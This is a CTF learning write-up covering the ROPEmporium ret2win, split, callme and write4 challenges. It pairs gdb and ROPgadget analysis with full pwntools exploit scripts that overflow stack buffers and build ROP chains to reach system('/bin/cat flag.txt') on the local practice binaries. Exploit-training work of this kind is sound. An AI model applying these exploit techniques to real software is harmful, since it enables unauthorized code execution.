Ropemporium Challenge Writeups
ROPEmporium Challenge Writeups
Overview
Writeups for some of the ROPEmporium challenges that I completed whilst learning about Return Oriented Programming. The writeup includes 32 and 64 bit versions for ret2win, split, callme, write and badchars.
ROPEmporium Challenges
ret2win
Ret2win is a basic challenge that involves overwriting a return address with the address of the win function.
64bit
Running checksec allows us to verify the architecture and discover any other security measures.
> checksec ret2win
[*] '/home/sam/CTF/Pwn/RopEmporium/ret2win/64bit/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Checksec tells us that it’s a 64bit binary. We can get more information with gdb to see the available functions and disassembled code.
gef➤ info function
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2win
0x0000000000400780 __libc_csu_init
0x00000000004007f0 __libc_csu_fini
0x00000000004007f4 _fini
Gdb shows us the main, pwnme and ret2win functions. Disassembling these gives us the function calls and where they are used in the program.
gef➤ disass main
Dump of assembler code for function main:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: mov rax,QWORD PTR [rip+0x2009b6] # 0x601058 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov ecx,0x0
0x00000000004006a7 <+16>: mov edx,0x2
0x00000000004006ac <+21>: mov esi,0x0
0x00000000004006b1 <+26>: mov rdi,rax
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov edi,0x400808
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov edi,0x400820
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov eax,0x0
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov edi,0x400828
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov eax,0x0
0x00000000004006e6 <+79>: pop rbp
0x00000000004006e7 <+80>: ret
End of assembler dump.
gef➤ disass pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
gef➤ disass ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
Main and pwnme are used already, but we need access to ret2win. The solution here is to overflow the buffer by finding the offset and replacing the return address with the address of the function. We will find the offset using pattern create in GDB.
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
[+] Saved as '$_gef2'
gef➤ run
Starting program: /home/sam/CTF/Pwn/RopEmporium/ret2win/64bit/ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400755 in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xb
$rbx : 0x0
$rcx : 0x00007ffff7ed4f33 → 0x5577fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007fffffffdf58 → "faaaaaaaga\n"
$rbp : 0x6161616161616165 ("eaaaaaaa"?)
$rsi : 0x00007ffff7fa5723 → 0xfa7670000000000a
$rdi : 0x00007ffff7fa7670 → 0x0000000000000000
$rip : 0x0000000000400755 → <pwnme+109> ret
$r8 : 0xb
$r9 : 0x2
$r10 : 0xfffffffffffff288
$r11 : 0x246
$r12 : 0x00000000004005b0 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf58│+0x0000: "faaaaaaaga\n" ← $rsp
0x00007fffffffdf60│+0x0008: 0x00000000000a6167 ("ga\n"?)
0x00007fffffffdf68│+0x0010: 0x00007ffff7e0cd0a → <__libc_start_main+234> mov edi, eax
0x00007fffffffdf70│+0x0018: 0x00007fffffffe058 → 0x00007fffffffe374 → "/home/sam/CTF/Pwn/RopEmporium/ret2win/64bit/ret2wi[...]"
0x00007fffffffdf78│+0x0020: 0x00000001ffffe359
0x00007fffffffdf80│+0x0028: 0x0000000000400697 → <main+0> push rbp
0x00007fffffffdf88│+0x0030: 0x00007ffff7e0c8e9 → <init_cacheinfo+569> mov r8, rax
0x00007fffffffdf90│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40074e <pwnme+102> call 0x400550 <puts@plt>
0x400753 <pwnme+107> nop
0x400754 <pwnme+108> leave
→ 0x400755 <pwnme+109> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0x400755 in pwnme (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400755 → pwnme()
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset 0x6161616161616165 50
[+] Searching '0x6161616161616165'
[+] Found at offset 32 (little-endian search) likely
[+] Found at offset 25 (big-endian search)
This offset is based off rbp
which represents an address at the top of the stack. In order to overwrite rip
we need to create a payload at the offset of 40.
from pwn import *
# Connect
elf = ELF('./ret2win')
p = process('./ret2win')
# Function address
win_addr = elf.symbols['ret2win']
# Payload
payload = b'A'*40
payload += p64(win_addr)
p.recvuntil('> ')
p.sendline(payload)
print(p.recvall())
Running this exploit will print out the contents of the flag file as instructed by the ret2win function.
32bit
Checksec:
> checksec ret2win32
[*] '/home/sam/CTF/Pwn/RopEmporium/ret2win/32bit/ret2win32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
This challenge file is identical to the last only it’s now in 32bit. The functions remain the same when disassembled so we only need to adjust the exploit to work with the new binary. The main change will come from the offset which will be found using pattern create and pattern offset.
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'
gef➤ run
Starting program: /home/sam/CTF/Pwn/RopEmporium/ret2win/32bit/ret2win32
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xb
$ebx : 0x0
$ecx : 0xffffffff
$edx : 0xffffffff
$esp : 0xffffd0d0 → 0xf70a616d
$ebp : 0x6161616b ("kaaa"?)
$esi : 0xf7fa8000 → 0x001e4d6c
$edi : 0xf7fa8000 → 0x001e4d6c
$eip : 0x6161616c ("laaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0d0│+0x0000: 0xf70a616d ← $esp
0xffffd0d4│+0x0004: 0xffffd0f0 → 0x00000001
0xffffd0d8│+0x0008: 0x00000000
0xffffd0dc│+0x000c: 0xf7de1e46 → <__libc_start_main+262> add esp, 0x10
0xffffd0e0│+0x0010: 0xf7fa8000 → 0x001e4d6c
0xffffd0e4│+0x0014: 0xf7fa8000 → 0x001e4d6c
0xffffd0e8│+0x0018: 0x00000000
0xffffd0ec│+0x001c: 0xf7de1e46 → <__libc_start_main+262> add esp, 0x10
───────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win32", stopped 0x6161616c in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset 0x6161616c 50
[+] Searching '0x6161616c'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)
Adjusting the payload and executing this exploit will get us the flag.
from pwn import *
elf = ELF('./ret2win32')
p = process('./ret2win32')
win_addr = elf.symbols['ret2win']
payload = b'A'*44
payload += p32(win_addr)
p.recvuntil('> ')
p.sendline(payload)
print(p.recvall())
split
Basic ROP challenge that requires the use of gadgets to call a function with a desirable parameter.
64bit
Checksec:
> checksec split
[*] '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Check shows us the current security protections and that it is 64 bit. We can take a look at gdb to find some information on the functions. Most of them will be the same as prior challenges.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
The main difference here is the usefulFunction function that we can disassemble for more information.
gef➤ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
We see a system call here and some value being put into edi. We can call this system call using a rop gadget. We just need something to pass into it as an argument.
> ROPgadget --binary split
x000000000040060b : pop rbp ; mov edi, 0x601078 ; jmp rax
0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400618 : pop rbp ; ret
0x00000000004007c3 : pop rdi ; ret
0x00000000004007c1 : pop rsi ; pop r15 ; ret
0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
We will use the pop rdi gadget in this exploit. Next we will find a string to use as the argument.
gef➤ search-pattern /bin/
[+] Searching '/bin/' in memory
[+] In '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'(0x400000-0x401000), permission=r-x
0x40084a - 0x400851 → "/bin/ls"
[+] In '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'(0x600000-0x601000), permission=r--
0x60084a - 0x600851 → "/bin/ls"
[+] In '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'(0x601000-0x602000), permission=rw-
0x601060 - 0x601071 → "/bin/cat flag.txt"
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f50000-0x7ffff7f9a000), permission=r--
0x7ffff7f6a156 - 0x7ffff7f6a15d → "/bin/sh"
0x7ffff7f6babd - 0x7ffff7f6bac5 → "/bin/csh"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe389 - 0x7fffffffe392 → "/bin/bash"
0x7fffffffe604 - 0x7fffffffe60c → "/bin/gdb"
I searched for /bin
here to give me any results that would include commands like ls, cat and sh. We found /bin/cat flag.txt
and can use this in the exploit. To exploit this program we just need to call system with the correct argument.
from pwn import *
# Connect
elf = ELF('./split')
p = process('./split')
# Gadget
pop_rdi = 0x00000000004007c3
# Addresses
system_addr = 0x400560
bin_cat_addr = 0x00601060
# Payload
payload = b'A'*40
payload += p64(pop_rdi)
payload += p64(bin_cat_addr)
payload += p64(system_addr)
p.recvuntil('> ')
p.sendline(payload)
print(p.recvall())
32bit
The 32bit version is very similar do 64bit but does not require a ROP gadget to call system
and /bin/cat flag.txt
. As was done with 64bit we will find the system address with info functions
and the address of /bin/cat flag.txt
with a pattern search.
gef➤ search-pattern "/bin"
[+] Searching '/bin' in memory
[+] In '/home/sam/CTF/Pwn/RopEmporium/split/32bit/split32'(0x8048000-0x8049000), permission=r-x
0x804870e - 0x8048715 → "/bin/ls"
[+] In '/home/sam/CTF/Pwn/RopEmporium/split/32bit/split32'(0x8049000-0x804a000), permission=r--
0x804970e - 0x8049715 → "/bin/ls"
[+] In '/home/sam/CTF/Pwn/RopEmporium/split/32bit/split32'(0x804a000-0x804b000), permission=rw-
0x804a030 - 0x804a041 → "/bin/cat flag.txt"
The final payload will be similar to the last one, we just need to replace some addresses.
from pwn import *
# Connect
elf = ELF('./split32')
p = process('./split32')
# Addresses
system_addr = 0x80483e6
bin_cat_addr = 0x0804a030
# Payload
payload = b'A'*44
payload += p32(system_addr)
payload += b'BBBB'
payload += p32(bin_cat_addr)
p.recvuntil('> ')
p.sendline(payload)
print(p.recvall())
callme
Requires a ROP chain that allows you to call 3 functions in a specific order.
64bit
The 64bit version of the challenge requires the user to call 3 functions in the correct order to get the flag. Most of the functions remain the same as previous ROPEmporium challenges except for usefulFunction and not usefulGadget.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x00000000004006a8 _init
0x00000000004006d0 puts@plt
0x00000000004006e0 printf@plt
0x00000000004006f0 callme_three@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 callme_one@plt
0x0000000000400730 setvbuf@plt
0x0000000000400740 callme_two@plt
0x0000000000400750 exit@plt
0x0000000000400760 _start
0x0000000000400790 _dl_relocate_static_pie
0x00000000004007a0 deregister_tm_clones
0x00000000004007d0 register_tm_clones
0x0000000000400810 __do_global_dtors_aux
0x0000000000400840 frame_dummy
0x0000000000400847 main
0x0000000000400898 pwnme
0x00000000004008f2 usefulFunction
0x000000000040093c usefulGadgets
0x0000000000400940 __libc_csu_init
0x00000000004009b0 __libc_csu_fini
0x00000000004009b4 _fini
gef➤ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
End of assembler dump.
gef➤ disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
End of assembler dump.
We can assume that the order of usefulFunction is incorrect and that we need to call each function ourselves in the order of 1, 2 and 3. We can start by getting the address of each callme function as well as the ROP gadget.
callme_one = 0x400720
callme_two = 0x400740
callme_three = 0x4006f0
> ROPgadget --binary callme
0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
0x000000000040093e : pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
We can now construct a payload that calls each function with the required arguments using the pop rdi ; pop rsi ; pop rdx ; ret
gadget. THe required arguments for this challenge are found in the challenge description and are as follows. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)
. As this is a 64bit binary each one will need to be repeated twice.
from pwn import *
# Connect
elf = ELF('./callme')
p = process('./callme')
# Functions and gadget
callme_one = 0x000000000000400720
callme_two = 0x000000000000400740
callme_three = 0x0000000000004006f0
pop_rdi_rsi_rdx = 0x000000000040093c
# Payload
payload = b'A'*40
# First call to callme_one with the arguments rdi, rsi and rdx
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(callme_one)
# Second call to callme_two
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(callme_two)
# Third call to callme_three
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(callme_three)
p.recvuntil('> ')
p.sendline(payload)
print(p.recvall())
32bit
The 32bit version of this challenge is identical to 64bit, but uses different addresses for the callme functions and the ROP gadget. We can get the new callme addresses with gdb and the ROP gadget with ROPgadget.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0804848c _init
0x080484c0 read@plt
0x080484d0 printf@plt
0x080484e0 callme_three@plt
0x080484f0 callme_one@plt
0x08048500 puts@plt
0x08048510 exit@plt
0x08048520 __libc_start_main@plt
0x08048530 setvbuf@plt
0x08048540 memset@plt
0x08048550 callme_two@plt
0x08048560 __gmon_start__@plt
0x08048570 _start
0x080485b0 _dl_relocate_static_pie
0x080485c0 __x86.get_pc_thunk.bx
0x080485d0 deregister_tm_clones
0x08048610 register_tm_clones
0x08048650 __do_global_dtors_aux
0x08048680 frame_dummy
0x08048686 main
0x080486ed pwnme
0x0804874f usefulFunction
0x080487a0 __libc_csu_init
0x08048800 __libc_csu_fini
0x08048804 _fini
> ROPgadget --binary callme32
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484ad : pop ebx ; ret
0x080487fa : pop edi ; pop ebp ; ret
0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
0x08048810 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080486ea : popal ; cld ; ret
We can construct our exploit in the same way as before and with these new addresses.
from pwn import *
# Connect
elf = ELF('./callme32')
p = process('./callme32')
# Addresses
callme_one_addr = 0x00000000000080484f0
callme_two_addr = 0x0000000000008048550
callme_three_addr = 0x00000000000080484e0
pop_esi_edi_ebp = 0x080487f9
# Payload
payload = b'A'*44
payload += p32(callme_one_addr)
payload += p32(pop_esi_edi_ebp)
payload += p32(0xdeadbeef)
payload += p32(0xcafebabe)
payload += p32(0xd00df00d)
payload += p32(callme_two_addr)
payload += p32(pop_esi_edi_ebp)
payload += p32(0xdeadbeef)
payload += p32(0xcafebabe)
payload += p32(0xd00df00d)
payload += p32(callme_three_addr)
payload += p32(pop_esi_edi_ebp)
payload += p32(0xdeadbeef)
payload += p32(0xcafebabe)
payload += p32(0xd00df00d)
p.recvuntil('> ')
p.sendline(payload)
print(p.recvall())
write4
Write4 is a challenge that involves writing some data into memory and using it as the argument of a function.
64bit
The first thing for this challenge will be to look at gdb to see what functions are available and what goes on inside them.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x00000000004004d0 _init
0x0000000000400500 pwnme@plt
0x0000000000400510 print_file@plt
0x0000000000400520 _start
0x0000000000400550 _dl_relocate_static_pie
0x0000000000400560 deregister_tm_clones
0x0000000000400590 register_tm_clones
0x00000000004005d0 __do_global_dtors_aux
0x0000000000400600 frame_dummy
0x0000000000400607 main
0x0000000000400617 usefulFunction
0x0000000000400628 usefulGadgets
0x0000000000400630 __libc_csu_init
0x00000000004006a0 __libc_csu_fini
0x00000000004006a4 _fini
gef➤ disass main
Dump of assembler code for function main:
0x0000000000400607 <+0>: push rbp
0x0000000000400608 <+1>: mov rbp,rsp
0x000000000040060b <+4>: call 0x400500 <pwnme@plt>
0x0000000000400610 <+9>: mov eax,0x0
0x0000000000400615 <+14>: pop rbp
0x0000000000400616 <+15>: ret
End of assembler dump.
gef➤ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400617 <+0>: push rbp
0x0000000000400618 <+1>: mov rbp,rsp
0x000000000040061b <+4>: mov edi,0x4006b4
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
0x0000000000400625 <+14>: nop
0x0000000000400626 <+15>: pop rbp
0x0000000000400627 <+16>: ret
End of assembler dump.
gef➤ disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: mov QWORD PTR [r14],r15
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: nop DWORD PTR [rax+0x0]
End of assembler dump.
For this challenge we will use print_file to print out a file which in this case will be flag.txt. We just need to figure out how to get flag.txt into memory so that it can be used as an argument. Inside usefulGadgets we see a mov instruction that can be used to put the string into memory. We can find more useful instructions with ROPgadget.
> ROPgadget --binary write4
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
0x0000000000400625 : nop ; pop rbp ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
In this challenge the useful gadgets include pop r14 ; pop r15 ; ret
, pop rdi ; ret
and mov qword ptr [r14], r15 ; ret
. Using these gadgets will allow us to start by putting any value into r14 and r15. In this case that will be an address in memory we have write access to and 8 bytes that spell out flag.txt
. With r14 and r15 containing these, we can use the mov gadget to save flag.txt
into the r14 memory address. The last step before actually constructing the exploit is to find a writeable section of memory.
gef➤ info proc map
process 1736
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/sam/CTF/Pwn/RopEmporium/write/64bit/write4
0x600000 0x601000 0x1000 0x0 /home/sam/CTF/Pwn/RopEmporium/write/64bit/write4
0x601000 0x602000 0x1000 0x1000 /home/sam/CTF/Pwn/RopEmporium/write/64bit/write4
Among other address spaces we see several blocks of memory, one of which is 1000 bytes long and can be written to. To be safe we will use the 0x601500
address to prevent any accidental results. The final payload can now be constructed.
from pwn import *
# Connect
elf = ELF('./write4')
p = process('./write4')
# Gadgets
mov = 0x0000000000400628
pop_r14_r15 = 0x0000000000400690
pop_rdi = 0x0000000000400693
# Address to store data and open files
data_addr = 0x00601500
file_addr = 0x00400510
# Move flag.txt into memory
payload = b'A'*40
payload += p64(pop_r14_r15)
payload += p64(data_addr)
payload += b'flag.txt'
payload += p64(mov)
# Read the file
payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(file_addr)
p.recvuntil('> ')
p.sendline(payload)
print(p.recvall())